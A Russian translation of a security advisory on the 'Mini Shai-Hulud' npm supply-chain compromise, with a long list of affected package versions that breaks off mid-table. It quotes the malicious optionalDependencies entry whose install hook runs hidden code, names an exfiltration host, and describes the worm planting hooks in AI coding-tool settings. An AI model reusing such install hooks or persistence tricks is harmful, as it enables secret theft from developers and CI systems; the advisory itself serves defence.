Команда Socket Threat Research обнаружила компрометацию 84 npm-пакетов в пространстве @tanstack: в них внедрили вредоносный имплант Mini Shai-Hulud, нацеленный на кражу учётных данных и секретов из CI/CD-сред, включая GitHub Actions.

Атака особенно опасна тем, что вредонос автоматически запускается при установке зависимостей через lifecycle-хуки npm, а среди затронутых пакетов есть крайне популярные — например, @tanstack/react-router с более чем 12 млн загрузок в неделю. Всё это делает инцидент серьёзной угрозой для безопасности цепочки поставок ПО.

В статье подробнее разберём механизм заражения, риски для разработчиков и компаний, а также первоочередные меры реагирования — от проверки зависимостей до ротации секретов и аудита CI-пайплайнов.

Оригинал статьи: Socket Research Team.

Принцип работы червя

Все вредоносные версии пакетов содержат новый  файл router_init.js, размером около 2,3 МБ. Он сильно обфусцирован с использованием шаблонов, характерных для javascript-obfuscator (ротация массивов строк, обращения к идентификаторам в hex-формате вроде _0x253b, выравнивание потока управления внутри автоматов состояний while(!![]){}, внедрение мёртвого кода). Это заметно отличает вредонос от обычных минификаторов, таких как Terser, esbuild или swc.

Файл включает:

  • демонизацию на основе spawn с защитой от повторного входа через DAEMONIZED и отделённым stdio;

  • доступ к переменным окружения GITHUB_* (секреты, доступные только в Actions/CI, включая токены и идентификатор пользователя/актора);

  • промежуточное размещение данных во временной директории с жизненным циклом чтение/запись/удаление;

  • а также операции удалённой потоковой передачи/отправки данных.

Недавно опубликованные версии также содержат следующее добавленное поле optionalDependencies в файле package.json, которое указывает на коммит в репозитории TanStack/router с хешем коммита 79ac49eedf774dd4b0cfa308722bc463cfe5885c.

 "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }

Этот коммит вызывает серьезные подозрения. Он автономен и не имеет родительской истории. В него добавлены всего два файла: package.json и tanstack_runner.js. Файл package.json определяет пакет с именем @tanstack/setup и регистрирует хук жизненного цикла prepare, который выполняет команду bun run tanstack_runner.js && exit 1. Поскольку хуки жизненного цикла npm запускаются автоматически при установке зависимостей на основе git, это позволяет запускать произвольный код на рабочих станциях разработчиков или в системах CI во время установки.

Автор коммита — аккаунт GitHub voicproducoes, чьи публичные репозитории включают проекты с названиями типа «A Mini Shai-Hulud has Appeared». Это может указывать на то, что этот взлом, вероятно, связан с недавними крупномасштабными кампаниями по распространению вредоносного ПО в цепочке поставок npm, а также свидетельствует о том, что аккаунт был скомпрометирован.

В постмортеме TanStack компрометация объясняется цепочкой атак на GitHub Actions, включающей паттерн pull_request_target «Pwn Request» → отравление кэша GitHub Actions через границу доверия fork-to-base → извлечение токена OIDC из памяти во время выполнения из процесса GitHub Actions runner. Команда TanStack заявила, что токены npm не были украдены, а рабочий процесс публикации npm не был скомпрометирован. Вместо этого вредоносный код запустили в CI, после чего пакеты были опубликованы в npm от имени проекта через доверенную OIDC-связку.

Как проверить свою систему и минимизировать последствия взлома:

  1. Проведите первичную проверку:
    Выполните shasum -a 256 для всех файлов router_init.js в дереве ваших зависимостей. Сверьте результат с хешем:
    ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c.

  2. Смените все секреты на любых системах, где была установлена затронутая версия @tanstack/*.
    Приоритет такой:

    • токены npm;

    • GitHub PAT-токены / OIDC-доверия;

    • учётные данные AWS (как статические ключи, так и роли инстансов);

    • токены Vault;

    • токены service account в Kubernetes.

  3. Отзовите права федерации OIDC для GitHub Actions у всех npm-пакетов, опубликованных из затронутых репозиториев; восстанавливайте их только после подтверждения, что workflow публикации не был изменён злоумышленниками.

  4. Проверьте директории .claude/ и .vscode/
    во всех домашних каталогах разработчиков и в корнях проектов. Удалите router_runtime.js, setup.mjs, а также любые незнакомые записи в хуках settings.json или в tasks.json.

  5. Просмотрите последние коммиты в ваших GitHub-репозиториях от автора claude@users.noreply.github.com, если они не были созданы через легитимное GitHub-приложение Claude Code.
    Чтобы найти такие коммиты, используйте:
    git log --all --author=claude@users.noreply.github.com
    Если такие коммиты обнаружены — отмените их и выполните force-push.

  6. Проверьте логи публикации npm на предмет неожиданных публикаций пакетов вашей организации, особенно версий, опубликованных из раннеров GitHub Actions без участия члена команды.

  7. Заблокируйте исходящие соединения к filev2.getsession[.]org
    и связанной инфраструктуре Session на периметре сети, если она не используется в вашей работе. Поскольку диапазон IP-адресов сети сервисных узлов Session распределённый, блокировка на уровне DNS для .getsession.org будет эффективнее, чем правила по IP.

  8. Внедрите Subresource Integrity или проверку lock-файлов пакетов
    с зафиксированным полем integrity для всех пакетов @tanstack/* в package-lock.json или pnpm-lock.yaml. Любая версия с несовпадением хеша должна блокировать CI.

  9. Ограничьте области действия OIDC-токенов в workflow GitHub Actions:
    установите permissions: id-token: none во всех workflow, которым OIDC-публикация явно не нужна, и выдавайте разрешение id-token: write только конкретной задаче, которая выполняет публикацию.

  10. Не полагайтесь только на бейджи происхождения Sigstore как на показатель безопасности.
    Этот вредоносный имплант показывает, что злоумышленник, получивший возможность выполнять код в GitHub Actions, способен создавать формально корректные Sigstore-аттестации для вредоносных пакетов.

Ниже приведена таблица, которая поможет отследить скомпрометированные артефакты пакетов во всех волнах кампании Mini Shai-Hulud.

Список пакетов

Ecosystem

Namespace

Name

Version

Published

Detected

npm

cross-stitch

1.1.7

2026-05-11T23:52:17.867Z

2026-05-11T23:57:49.768Z

npm

@squawk

fix-data

0.6.8

2026-05-11T23:52:08.323Z

2026-05-11T23:57:46.061Z

npm

@squawk

weather

0.5.10

2026-05-11T23:51:55.267Z

2026-05-11T23:57:43.472Z

npm

@squawk

icao-registry-data

0.8.8

2026-05-11T23:52:23.156Z

2026-05-11T23:57:40.672Z

npm

@squawk

airport-data

0.7.8

2026-05-11T23:52:18.361Z

2026-05-11T23:57:39.719Z

npm

@squawk

flightplan

0.5.6

2026-05-11T23:51:54.739Z

2026-05-11T23:57:36.860Z

npm

@squawk

units

0.4.7

2026-05-11T23:51:54.457Z

2026-05-11T23:57:31.082Z

npm

@squawk

flight-math

0.5.8

2026-05-11T23:51:54.371Z

2026-05-11T23:57:31.028Z

npm

@squawk

mcp

0.9.5

2026-05-11T23:51:55.508Z

2026-05-11T23:57:30.431Z

npm

@squawk

fixes

0.3.6

2026-05-11T23:51:54.445Z

2026-05-11T23:57:29.578Z

npm

@squawk

airspace-data

0.5.7

2026-05-11T23:52:09.491Z

2026-05-11T23:57:27.971Z

npm

@squawk

procedure-data

0.7.7

2026-05-11T23:52:12.606Z

2026-05-11T23:57:27.660Z

npm

@squawk

navaids

0.4.6

2026-05-11T23:51:54.173Z

2026-05-11T23:57:26.950Z

npm

@squawk

procedures

0.5.6

2026-05-11T23:51:55.196Z

2026-05-11T23:57:26.346Z

npm

@squawk

notams

0.3.10

2026-05-11T23:51:51.623Z

2026-05-11T23:56:50.086Z

npm

@squawk

airways

0.4.6

2026-05-11T23:51:49.611Z

2026-05-11T23:56:37.581Z

npm

@squawk

airports

0.6.6

2026-05-11T23:51:52.328Z

2026-05-11T23:56:34.933Z

npm

ts-dna

3.0.5

2026-05-11T23:51:53.011Z

2026-05-11T23:56:27.547Z

npm

@squawk

types

0.8.5

2026-05-11T23:51:52.501Z

2026-05-11T23:56:25.961Z

npm

@squawk

icao-registry

0.5.6

2026-05-11T23:51:51.316Z

2026-05-11T23:56:25.149Z

npm

@squawk

airspace

0.8.5

2026-05-11T23:51:53.026Z

2026-05-11T23:56:24.935Z

npm

@squawk

geo

0.4.8

2026-05-11T23:51:52.532Z

2026-05-11T23:56:24.723Z

npm

@squawk

navaid-data

0.6.8

2026-05-11T23:51:50.572Z

2026-05-11T23:56:24.688Z

npm

@squawk

airway-data

0.5.8

2026-05-11T23:51:56.453Z

2026-05-11T23:53:54.188Z

npm

@mistralai

mistralai

2.2.4

2026-05-11T22:53:59.784Z

2026-05-11T23:07:59.525Z

npm

@squawk

mcp

0.9.4

2026-05-11T22:57:02.112Z

2026-05-11T23:02:54.383Z

npm

@squawk

types

0.8.3

2026-05-11T22:55:28.884Z

2026-05-11T23:02:12.143Z

npm

@beproduct

nestjs-auth

0.1.18

2026-05-11T22:55:03.941Z

2026-05-11T23:02:09.731Z

npm

@squawk

airspace-data

0.5.5

2026-05-11T22:55:28.875Z

2026-05-11T23:02:07.002Z

npm

ts-dna

3.0.4

2026-05-11T22:57:01.936Z

2026-05-11T23:02:05.790Z

npm

git-git-git

1.0.12

2026-05-11T22:56:34.548Z

2026-05-11T23:02:05.743Z

npm

@squawk

airway-data

0.5.7

2026-05-11T22:57:02.533Z

2026-05-11T23:02:05.462Z

npm

@squawk

airports

0.6.5

2026-05-11T22:57:02.412Z

2026-05-11T23:02:05.321Z

npm

git-branch-selector

1.3.7

2026-05-11T22:56:34.934Z

2026-05-11T23:02:05.085Z

npm

@tallyui

pos

0.1.3

2026-05-11T22:55:40.813Z

2026-05-11T23:02:05.061Z

npm

@tallyui

connector-vendure

1.0.3

2026-05-11T22:55:41.147Z

2026-05-11T23:02:04.584Z

npm

cross-stitch

1.1.5

2026-05-11T22:55:28.996Z

2026-05-11T23:02:04.442Z

npm

@supersurkhet

cli

0.0.7

2026-05-11T22:55:49.498Z

2026-05-11T23:02:04.366Z

npm

@squawk

mcp

0.9.3

2026-05-11T22:55:28.769Z

2026-05-11T23:02:04.362Z

npm

@squawk

flightplan

0.5.5

2026-05-11T22:57:01.980Z

2026-05-11T23:02:04.332Z

npm

@squawk

fix-data

0.6.7

2026-05-11T22:57:02.842Z

2026-05-11T23:02:04.318Z

npm

@squawk

airspace-data

0.5.6

2026-05-11T22:57:02.877Z

2026-05-11T23:02:04.270Z

npm

git-branch-selector

1.3.6

2026-05-11T22:54:58.300Z

2026-05-11T23:02:04.177Z

npm

@taskflow-corp

cli

0.1.29

2026-05-11T22:55:49.701Z

2026-05-11T23:02:04.162Z

npm

@squawk

icao-registry-data

0.8.6

2026-05-11T22:55:28.892Z

2026-05-11T23:02:04.045Z

npm

@squawk

geo

0.4.7

2026-05-11T22:57:02.414Z

2026-05-11T23:02:04.006Z

npm

@squawk

airport-data

0.7.7

2026-05-11T22:57:02.128Z

2026-05-11T23:02:04.004Z

npm

@squawk

weather

0.5.8

2026-05-11T22:55:28.053Z

2026-05-11T23:02:03.915Z

npm

@squawk

geo

0.4.6

2026-05-11T22:55:28.726Z

2026-05-11T23:02:03.784Z

npm

@squawk

flight-math

0.5.7

2026-05-11T22:57:02.225Z

2026-05-11T23:02:03.739Z

npm

@squawk

icao-registry

0.5.5

2026-05-11T22:57:02.363Z

2026-05-11T23:02:03.705Z

npm

@beproduct

nestjs-auth

0.1.19

2026-05-11T22:56:39.843Z

2026-05-11T23:02:03.702Z

npm

nextmove-mcp

0.1.7

2026-05-11T22:56:34.621Z

2026-05-11T23:02:03.699Z

npm

@squawk

airways

0.4.4

2026-05-11T22:55:28.758Z

2026-05-11T23:02:03.673Z

npm

@tolka

cli

1.0.5

2026-05-11T22:54:58.678Z

2026-05-11T23:02:03.656Z

npm

@squawk

airways

0.4.5

2026-05-11T22:57:02.453Z

2026-05-11T23:02:03.632Z

npm

@squawk

fixes

0.3.5

2026-05-11T22:57:00.619Z

2026-05-11T23:02:03.631Z

npm

cmux-agent-mcp

0.1.8

2026-05-11T22:55:49.690Z

2026-05-11T23:02:03.609Z

npm

@tallyui

connector-shopify

1.0.3

2026-05-11T22:55:40.903Z

2026-05-11T23:02:03.575Z

npm

@squawk

flight-math

0.5.6

2026-05-11T22:55:28.496Z

2026-05-11T23:02:03.556Z

npm

@squawk

icao-registry

0.5.4

2026-05-11T22:55:28.558Z

2026-05-11T23:02:03.554Z

npm

@tallyui

components

1.0.3

2026-05-11T22:55:41.066Z

2026-05-11T23:02:03.537Z

npm

@squawk

navaids

0.4.5

2026-05-11T22:57:00.606Z

2026-05-11T23:02:03.420Z

npm

cross-stitch

1.1.6

2026-05-11T22:57:02.259Z

2026-05-11T23:02:03.395Z

npm

@squawk

notams

0.3.9

2026-05-11T22:57:01.962Z

2026-05-11T23:02:03.360Z

npm

@squawk

notams

0.3.8

2026-05-11T22:55:28.582Z

2026-05-11T23:02:03.346Z

npm

@tallyui

theme

0.2.3

2026-05-11T22:55:41.018Z

2026-05-11T23:02:03.323Z

npm

@squawk

navaids

0.4.4

2026-05-11T22:55:27.297Z

2026-05-11T23:02:03.253Z

npm

wot-api

0.8.3

2026-05-11T22:55:34.086Z

2026-05-11T23:02:03.253Z

npm

@squawk

icao-registry-data

0.8.7

2026-05-11T22:57:03.428Z

2026-05-11T23:02:03.153Z

npm

@tolka

cli

1.0.6

2026-05-11T22:56:34.596Z

2026-05-11T23:02:03.148Z

npm

@supersurkhet

sdk

0.0.7

2026-05-11T22:55:49.846Z

2026-05-11T23:02:03.141Z

npm

@squawk

airspace

0.8.3

2026-05-11T22:55:28.644Z

2026-05-11T23:02:03.130Z

npm

@squawk

procedure-data

0.7.5

2026-05-11T22:55:28.927Z

2026-05-11T23:02:03.070Z

npm

@squawk

types

0.8.4

2026-05-11T22:57:01.236Z

2026-05-11T23:02:02.985Z

npm

@squawk

units

0.4.5

2026-05-11T22:55:27.445Z

2026-05-11T23:02:02.981Z

npm

@squawk

airspace

0.8.4

2026-05-11T22:57:02.254Z

2026-05-11T23:02:02.970Z

npm

@squawk

procedures

0.5.4

2026-05-11T22:55:27.349Z

2026-05-11T23:02:02.961Z

npm

@squawk

flightplan

0.5.4

2026-05-11T22:55:28.513Z

2026-05-11T23:02:02.960Z

npm

@squawk

fixes

0.3.4

2026-05-11T22:55:27.325Z

2026-05-11T23:02:02.949Z

npm

@squawk

procedures

0.5.5

2026-05-11T22:57:02.484Z

2026-05-11T23:02:02.867Z

npm

@tallyui

storage-sqlite

0.2.3

2026-05-11T22:55:41.308Z

2026-05-11T23:02:02.864Z

npm

@tallyui

connector-woocommerce

1.0.3

2026-05-11T22:55:41.144Z

2026-05-11T23:02:02.849Z

npm

@squawk

units

0.4.6

2026-05-11T22:57:02.066Z

2026-05-11T23:02:02.845Z

npm

@tallyui

database

1.0.3

2026-05-11T22:55:41.258Z

2026-05-11T23:02:02.841Z

npm

@squawk

navaid-data

0.6.7

2026-05-11T22:57:02.601Z

2026-05-11T23:02:02.832Z

npm

@squawk

airport-data

0.7.6

2026-05-11T22:55:28.812Z

2026-05-11T23:02:02.832Z

npm

@squawk

procedure-data

0.7.6

2026-05-11T22:57:02.647Z

2026-05-11T23:02:02.766Z

npm

@squawk

airports

0.6.4

2026-05-11T22:55:28.641Z

2026-05-11T23:02:02.723Z

npm

@tallyui

connector-medusa

1.0.3

2026-05-11T22:55:40.822Z

2026-05-11T23:02:02.715Z

npm

@squawk

airway-data

0.5.6

2026-05-11T22:55:28.609Z

2026-05-11T23:02:02.573Z

npm

git-git-git

1.0.11

2026-05-11T22:54:58.281Z

2026-05-11T23:02:02.571Z

npm

nextmove-mcp

0.1.6

2026-05-11T22:54:58.295Z

2026-05-11T23:02:02.417Z

npm

wot-api

0.8.4

2026-05-11T22:57:08.421Z

2026-05-11T23:02:02.352Z

npm

@squawk

weather

0.5.9

2026-05-11T22:57:02.061Z

2026-05-11T23:02:02.305Z

npm

ts-dna

3.0.3

2026-05-11T22:55:28.239Z

2026-05-11T23:02:02.298Z

npm

@squawk

navaid-data

0.6.6

2026-05-11T22:55:28.857Z

2026-05-11T23:02:02.199Z

npm

@squawk

fix-data

0.6.6

2026-05-11T22:55:28.667Z

2026-05-11T23:02:01.985Z

npm

@tallyui

core

0.2.3

2026-05-11T22:55:40.928Z

2026-05-11T23:02:01.971Z

npm

@mistralai

mistralai

2.2.3

2026-05-11T22:49:23.971Z

2026-05-11T23:00:13.131Z

npm

@mistralai

mistralai

2.2.2

2026-05-11T22:45:38.894Z

2026-05-11T23:00:07.535Z

npm

@mistralai

mistralai-azure

1.7.3

2026-05-11T22:53:59.333Z

2026-05-11T22:59:58.941Z

npm

@mistralai

mistralai-gcp

1.7.3

2026-05-11T22:53:59.298Z

2026-05-11T22:59:56.325Z

npm

git-git-git

1.0.10

2026-05-11T22:48:16.026Z

2026-05-11T22:57:59.629Z

npm

nextmove-mcp

0.1.5

2026-05-11T22:48:16.612Z

2026-05-11T22:55:59.325Z

npm

@supersurkhet

sdk

0.0.6

2026-05-11T22:49:11.686Z

2026-05-11T22:55:05.701Z

npm

@taskflow-corp

cli

0.1.28

2026-05-11T22:49:11.836Z

2026-05-11T22:55:04.661Z

npm

cmux-agent-mcp

0.1.7

2026-05-11T22:49:11.930Z

2026-05-11T22:55:02.751Z

npm

@squawk

mcp

0.9.2

2026-05-11T22:48:48.133Z

2026-05-11T22:55:01.646Z

npm

cross-stitch

1.1.4

2026-05-11T22:48:48.947Z

2026-05-11T22:54:57.553Z

npm

@supersurkhet

cli

0.0.6

2026-05-11T22:49:11.953Z

2026-05-11T22:54:56.052Z

npm

@squawk

airspace-data

0.5.4

2026-05-11T22:48:47.268Z

2026-05-11T22:54:38.668Z

npm

@tallyui

theme

0.2.2

2026-05-11T22:49:01.823Z

2026-05-11T22:54:29.023Z

npm

@squawk

types

0.8.2

2026-05-11T22:48:48.165Z

2026-05-11T22:54:28.666Z

npm

@squawk

geo

0.4.5

2026-05-11T22:48:46.938Z

2026-05-11T22:54:27.455Z

npm

@tallyui

connector-medusa

1.0.2

2026-05-11T22:49:02.277Z

2026-05-11T22:54:26.603Z

npm

@squawk

airspace

0.8.2

2026-05-11T22:48:46.596Z

2026-05-11T22:54:26.511Z

npm

@tallyui

connector-woocommerce

1.0.2

2026-05-11T22:49:01.803Z

2026-05-11T22:54:26.283Z

npm

@squawk

airway-data

0.5.5

2026-05-11T22:48:48.420Z

2026-05-11T22:54:24.687Z

npm

@tallyui

pos

0.1.2

2026-05-11T22:49:01.999Z

2026-05-11T22:54:22.314Z

npm

@tallyui

components

1.0.2

2026-05-11T22:49:01.944Z

2026-05-11T22:54:16.459Z

npm

@squawk

flight-math

0.5.5

2026-05-11T22:48:48.200Z

2026-05-11T22:54:16.410Z

npm

@squawk

fix-data

0.6.5

2026-05-11T22:48:48.168Z

2026-05-11T22:54:16.359Z

npm

@squawk

fixes

0.3.3

2026-05-11T22:48:46.595Z

2026-05-11T22:54:16.297Z

npm

@tallyui

connector-vendure

1.0.2

2026-05-11T22:49:02.296Z

2026-05-11T22:54:16.271Z

npm

@squawk

procedures

0.5.3

2026-05-11T22:48:46.708Z

2026-05-11T22:54:15.728Z

npm

@squawk

weather

0.5.7

2026-05-11T22:48:47.708Z

2026-05-11T22:54:15.717Z

npm

@squawk

icao-registry

0.5.3

2026-05-11T22:48:46.466Z

2026-05-11T22:54:15.231Z

npm

@tallyui

database

1.0.2

2026-05-11T22:49:02.207Z

2026-05-11T22:54:14.225Z

npm

@squawk

airways

0.4.3

2026-05-11T22:48:46.729Z

2026-05-11T22:54:12.369Z

npm

@squawk

airport-data

0.7.5

2026-05-11T22:48:48.424Z

2026-05-11T22:54:11.874Z

npm

@squawk

flightplan

0.5.3

2026-05-11T22:48:47.085Z

2026-05-11T22:54:11.822Z

npm

@tallyui

connector-shopify

1.0.2

2026-05-11T22:49:02.103Z

2026-05-11T22:54:10.896Z

npm

@tallyui

storage-sqlite

0.2.2

2026-05-11T22:49:02.730Z

2026-05-11T22:54:10.001Z

npm

ts-dna

3.0.2

2026-05-11T22:48:47.183Z

2026-05-11T22:54:09.053Z

npm

wot-api

0.8.2

2026-05-11T22:48:53.510Z

2026-05-11T22:54:04.966Z

npm

@squawk

units

0.4.4

2026-05-11T22:48:47.446Z

2026-05-11T22:54:04.577Z

npm

@squawk

procedure-data

0.7.4

2026-05-11T22:48:47.824Z

2026-05-11T22:54:03.542Z

npm

@squawk

navaid-data

0.6.5

2026-05-11T22:48:47.452Z

2026-05-11T22:54:03.470Z

npm

@squawk

notams

0.3.7

2026-05-11T22:48:48.123Z

2026-05-11T22:54:03.434Z

npm

@squawk

icao-registry-data

0.8.5

2026-05-11T22:48:48.127Z

2026-05-11T22:54:03.079Z

npm

@squawk

airports

0.6.3

2026-05-11T22:48:46.109Z

2026-05-11T22:54:02.909Z

npm

@squawk

navaids

0.4.3

2026-05-11T22:48:46.260Z

2026-05-11T22:54:02.822Z

npm

@beproduct

nestjs-auth

0.1.17

2026-05-11T22:48:21.830Z

2026-05-11T22:53:32.050Z

npm

git-branch-selector

1.3.5

2026-05-11T22:48:16.173Z

2026-05-11T22:53:06.549Z

npm

@tolka

cli

1.0.4

2026-05-11T22:48:15.891Z

2026-05-11T22:53:06.317Z

npm

@mistralai

mistralai-gcp

1.7.1

2026-05-11T22:45:38.309Z

2026-05-11T22:52:55.863Z

npm

@mistralai

mistralai-gcp

1.7.2

2026-05-11T22:49:23.487Z

2026-05-11T22:52:46.401Z

npm

@mistralai

mistralai-azure

1.7.1

2026-05-11T22:45:37.951Z

2026-05-11T22:52:46.040Z

npm

@mistralai

mistralai-azure

1.7.2

2026-05-11T22:49:22.926Z

2026-05-11T22:52:45.808Z

npm

@tallyui

core

0.2.2

2026-05-11T22:49:01.926Z

2026-05-11T22:51:41.014Z

npm

@mesadev

saguaro

0.4.22

2026-05-11T22:44:30.005Z

2026-05-11T22:51:33.411Z

npm

@mesadev

sdk

0.28.3

2026-05-11T22:44:26.365Z

2026-05-11T22:49:24.785Z

npm

@mesadev

rest

0.28.3

2026-05-11T22:44:26.862Z

2026-05-11T22:49:22.940Z

npm

cross-stitch

1.1.3

2026-05-11T22:17:07.042Z

2026-05-11T22:26:29.606Z

npm

ts-dna

3.0.1

2026-05-11T22:17:05.368Z

2026-05-11T22:25:21.661Z

npm

@squawk

mcp

0.9.1

2026-05-11T22:17:05.628Z

2026-05-11T22:23:27.562Z

npm

wot-api

0.8.1

2026-05-11T22:17:10.494Z

2026-05-11T22:23:24.876Z

npm

@squawk

notams

0.3.6

2026-05-11T22:17:05.716Z

2026-05-11T22:22:35.970Z

npm

@squawk

airways

0.4.2

2026-05-11T22:17:05.568Z

2026-05-11T22:22:34.995Z

npm

@squawk

flightplan

0.5.2

2026-05-11T22:17:05.323Z

2026-05-11T22:22:32.124Z

npm

@squawk

weather

0.5.6

2026-05-11T22:17:05.709Z

2026-05-11T22:22:28.279Z

npm

@squawk

flight-math

0.5.4

2026-05-11T22:17:05.445Z

2026-05-11T22:22:28.005Z

npm

@squawk

airway-data

0.5.4

2026-05-11T22:17:05.778Z

2026-05-11T22:22:26.187Z

npm

@squawk

procedures

0.5.2

2026-05-11T22:17:05.325Z

2026-05-11T22:22:25.502Z

npm

@squawk

icao-registry-data

0.8.4

2026-05-11T22:17:06.431Z

2026-05-11T22:22:24.075Z

npm

@squawk

units

0.4.3

2026-05-11T22:17:05.920Z

2026-05-11T22:22:23.824Z

npm

@squawk

navaids

0.4.2

2026-05-11T22:17:05.491Z

2026-05-11T22:22:23.421Z

npm

@squawk

types

0.8.1

2026-05-11T22:17:05.383Z

2026-05-11T22:22:23.327Z

npm

@squawk

fix-data

0.6.4

2026-05-11T22:17:05.889Z

2026-05-11T22:22:22.633Z

npm

@squawk

navaid-data

0.6.4

2026-05-11T22:17:05.249Z

2026-05-11T22:22:22.343Z

npm

@squawk

icao-registry

0.5.2

2026-05-11T22:17:05.216Z

2026-05-11T22:22:22.267Z

npm

@squawk

fixes

0.3.2

2026-05-11T22:17:05.320Z

2026-05-11T22:22:21.857Z

npm

@squawk

geo

0.4.4

2026-05-11T22:17:05.643Z

2026-05-11T22:22:21.309Z

npm

@squawk

procedure-data

0.7.3

2026-05-11T22:17:05.799Z

2026-05-11T22:22:20.493Z

npm

@squawk

airspace-data

0.5.3

2026-05-11T22:17:06.007Z

2026-05-11T22:22:19.994Z

npm

@squawk

airports

0.6.2

2026-05-11T22:17:05.104Z

2026-05-11T22:22:19.198Z

npm

@squawk

airspace

0.8.1

2026-05-11T22:17:05.299Z

2026-05-11T22:22:19.182Z

npm

@squawk

airport-data

0.7.4

2026-05-11T22:17:05.606Z

2026-05-11T22:22:16.423Z

npm

@tolka

cli

1.0.3

2026-05-11T22:09:06.157Z

2026-05-11T22:15:27.507Z

npm

git-branch-selector

1.3.4

2026-05-11T22:09:06.815Z

2026-05-11T22:15:26.692Z

npm

nextmove-mcp

0.1.4

2026-05-11T22:09:06.563Z

2026-05-11T22:15:18.214Z

npm

git-git-git

1.0.9

2026-05-11T22:09:06.445Z

2026-05-11T22:15:17.260Z

npm

@tallyui

theme

0.2.1

2026-05-11T21:41:50.843Z

2026-05-11T21:47:59.181Z

npm

@tallyui

pos

0.1.1

2026-05-11T21:41:51.077Z

2026-05-11T21:47:57.286Z

npm

@tallyui

connector-medusa

1.0.1

2026-05-11T21:41:50.854Z

2026-05-11T21:47:54.077Z

npm

@tallyui

components

1.0.1

2026-05-11T21:41:50.660Z

2026-05-11T21:47:49.567Z

npm

@tallyui

connector-shopify

1.0.1

2026-05-11T21:41:51.402Z

2026-05-11T21:47:41.870Z

npm

@tallyui

core

0.2.1

2026-05-11T21:41:51.428Z

2026-05-11T21:47:35.293Z

npm

@tallyui

database

1.0.1

2026-05-11T21:41:51.035Z

2026-05-11T21:47:33.965Z

npm

@tallyui

connector-vendure

1.0.1

2026-05-11T21:41:50.750Z

2026-05-11T21:47:31.829Z

npm

@tallyui

storage-sqlite

0.2.1

2026-05-11T21:41:50.659Z

2026-05-11T21:47:31.497Z

npm

@tallyui

connector-woocommerce

1.0.1

2026-05-11T21:41:50.732Z

2026-05-11T21:47:31.415Z

npm

@uipath

apollo-react

4.24.5

2026-05-11T21:00:26.711Z

2026-05-11T21:28:13.200Z

npm

@uipath

agent.sdk

0.0.18

2026-05-11T21:00:21.185Z

2026-05-11T21:13:25.305Z

npm

@uipath

apollo-core

5.9.2

2026-05-11T21:00:26.961Z

2026-05-11T21:09:07.692Z

npm

@uipath

apollo-wind

2.16.2

2026-05-11T21:00:21.184Z

2026-05-11T21:08:42.661Z

npm

@uipath

tool-workflowcompiler

0.0.12

2026-05-11T21:00:20.652Z

2026-05-11T21:08:19.863Z

npm

@uipath

filesystem

1.0.1

2026-05-11T21:00:20.022Z

2026-05-11T21:08:02.753Z

npm

@uipath

robot

1.3.4

2026-05-11T21:00:22.132Z

2026-05-11T21:07:32.886Z

npm

@uipath

telemetry

0.0.7

2026-05-11T21:00:20.650Z

2026-05-11T21:07:29.090Z

npm

@uipath

integrationservice-sdk

1.0.2

2026-05-11T21:00:20.932Z

2026-05-11T21:07:24.909Z

npm

@uipath

ap-chat

1.5.7

2026-05-11T21:00:26.227Z

2026-05-11T21:07:21.498Z

npm

@uipath

widget.sdk

1.2.3

2026-05-11T21:00:21.133Z

2026-05-11T21:07:08.052Z

npm

@uipath

agent-sdk

1.0.2

2026-05-11T21:00:22.740Z

2026-05-11T21:07:06.258Z

npm

@uipath

packager-tool-apiworkflow

0.0.19

2026-05-11T21:00:20.911Z

2026-05-11T21:07:04.415Z

npm

@uipath

case-tool

1.0.1

2026-05-11T21:00:22.990Z

2026-05-11T21:06:55.085Z

npm

@uipath

codedagents-tool

0.1.12

2026-05-11T21:00:20.678Z

2026-05-11T21:06:53.254Z

npm

@uipath

api-workflow-tool

1.0.1

2026-05-11T21:00:20.798Z

2026-05-11T21:06:51.036Z

npm

@uipath

context-grounding-tool

0.1.1

2026-05-11T21:00:19.922Z

2026-05-11T21:06:50.918Z

npm

@uipath

packager-tool-workflowcompiler-browser

0.0.34

2026-05-11T21:00:20.716Z

2026-05-11T21:06:50.722Z

npm

@uipath

packager-tool-workflowcompiler

0.0.16

2026-05-11T21:00:21.364Z

2026-05-11T21:06:49.630Z

npm

@uipath

aops-policy-tool

0.3.1

2026-05-11T21:00:20.534Z

2026-05-11T21:06:48.861Z

npm

@uipath

flow-tool

1.0.2

2026-05-11T21:00:23.016Z

2026-05-11T21:06:48.647Z

npm

@uipath

resourcecatalog-tool

0.1.1

2026-05-11T21:00:20.557Z

2026-05-11T21:06:46.371Z

npm

@uipath

vertical-solutions-tool

1.0.1

2026-05-11T21:00:20.868Z

2026-05-11T21:06:46.274Z

npm

@uipath

data-fabric-tool

1.0.2

2026-05-11T21:00:21.200Z

2026-05-11T21:06:46.178Z

npm

@uipath

packager-tool-case

0.0.9

2026-05-11T21:00:20.380Z

2026-05-11T21:06:45.549Z

npm

@uipath

codedagent-tool

1.0.1

2026-05-11T21:00:20.586Z

2026-05-11T21:06:45.420Z

npm

@uipath

ui-widgets-multi-file-upload

1.0.1

2026-05-11T21:00:20.686Z

2026-05-11T21:06:45.292Z

npm

@uipath

docsai-tool

1.0.1

2026-05-11T21:00:20.034Z

2026-05-11T21:06:45.197Z

npm

@uipath

insights-tool

1.0.1

2026-05-11T21:00:20.838Z

2026-05-11T21:06:43.995Z

npm

@uipath

solutionpackager-sdk

1.0.11

2026-05-11T21:00:22.993Z

2026-05-11T21:06:43.421Z

npm

@uipath

auth

1.0.1

2026-05-11T21:00:20.819Z

2026-05-11T21:06:43.283Z

npm

@uipath

maestro-tool

1.0.1

2026-05-11T21:00:22.134Z

2026-05-11T21:06:43.269Z

npm

@uipath

cli

1.0.1

2026-05-11T21:00:21.005Z

2026-05-11T21:06:42.123Z

npm

@uipath

llmgw-tool

1.0.1

2026-05-11T21:00:20.742Z

2026-05-11T21:06:41.710Z

npm

@uipath

resource-tool

1.0.1

2026-05-11T21:00:20.510Z

2026-05-11T21:06:41.541Z

npm

@uipath

packager-tool-flow

0.0.19

2026-05-11T21:00:20.953Z

2026-05-11T21:06:39.866Z

npm

@uipath

common

1.0.1

2026-05-11T21:00:21.070Z

2026-05-11T21:06:39.742Z

npm

@uipath

gov-tool

0.3.1

2026-05-11T21:00:20.485Z

2026-05-11T21:06:39.437Z

npm

@uipath

traces-tool

1.0.1

2026-05-11T21:00:20.202Z

2026-05-11T21:06:38.605Z

npm

@uipath

packager-tool-bpmn

0.0.9

2026-05-11T21:00:20.411Z

